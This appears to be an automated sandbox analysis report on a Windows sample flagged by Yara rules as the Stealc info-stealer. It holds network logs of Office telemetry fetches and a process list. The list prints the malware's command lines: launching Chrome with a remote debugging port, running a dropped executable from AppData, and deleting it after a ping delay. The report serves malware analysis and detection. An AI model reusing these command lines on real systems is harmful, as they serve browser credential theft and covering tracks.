2024-11-20 06:49:16 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:16 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:16 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:16 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e2992adc-501e-005b-288c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064916Z-185f5d8b95ckwnflhC1NYCx9qs00000009yg000000007c3g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:16 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:17 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:17 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:17 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: e9975653-d01e-0065-2d8c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064917Z-1777c6cb754g9zd5hC1TEBfvpw00000009f0000000000q6m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:17 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:17 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:17 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 947c99fd-001e-00a2-4d8c-3ad4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064917Z-185f5d8b95c9mqtvhC1NYCghtc00000009u000000000qy5x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:17 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49897	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:17 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:17 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: f390f01b-d01e-0017-588c-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064917Z-185f5d8b95cjbkr4hC1NYCeu2400000009p000000000fgvp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:17 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49898	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:17 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:17 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 736e7e4b-801e-0035-118c-3a752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064917Z-185f5d8b95ctl8xlhC1NYCn94g0000000a100000000022qk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:17 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49899	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:17 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 107b52fc-c01e-00a2-5b8c-3a2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064917Z-r1d97b99577kk29chC1TEBemmg00000008k0000000006gs2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:17 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:17 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e99758fe-d01e-0065-348c-3ab77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064917Z-r1d97b99577brct2hC1TEBambg000000026000000000885f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 06:49:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.4	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:17 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:17 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 6d467d74-a01e-0050-5286-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064917Z-1777c6cb7549j9hhhC1TEBzmcc000000091000000000ngm9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:17 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703451" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTo

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.4	49902	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 06:49:17 UTC	192	OUT	GET /rules/rule703450v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 06:49:17 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 06:49:17 GMT Content-Type: text/xml Content-Length: 1372 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6669CA7" x-ms-request-id: f2376ea7-e01e-000c-078c-3a8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T064917Z-1777c6cb754rz2pghC1TEBghen000000094000000000ae4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 06:49:17 UTC	1372	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703450" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OfficeMobile" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOfficeMobile" S="Medium" /> <

Target ID:	0
Start time:	01:48:04
Start date:	20/11/2024
Path:	C:\Users\user\Desktop\qlI3ReINCV.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\qlI3ReINCV.exe"
Imagebase:	0x680000
File size:	244'736 bytes
MD5 hash:	40163EAE38AF01040691454B24B06E2F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000000.1730010347.00000000006AB000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1968390990.000000000124E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:48:08
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:48:09
Start date:	20/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3028 --field-trial-handle=2236,i,11332820353393663667,15480934144007943570,262144 /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:48:27
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe"
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:48:27
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:48:27
Start date:	20/11/2024
Path:	C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe"
Imagebase:	0xa30000
File size:	109'056 bytes
MD5 hash:	BA38615AB308EFBDB2A877277AB76CD0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:48:28
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /C ping 2.2.2.2 -n 1 -w 3000 > Nul & Del C:\Users\user\AppData\Roaming\DBFHCGCGDA.exe
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:48:28
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:48:28
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 2.2.2.2 -n 1 -w 3000
Imagebase:	0x570000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	5.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	17.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	104

Executed Functions

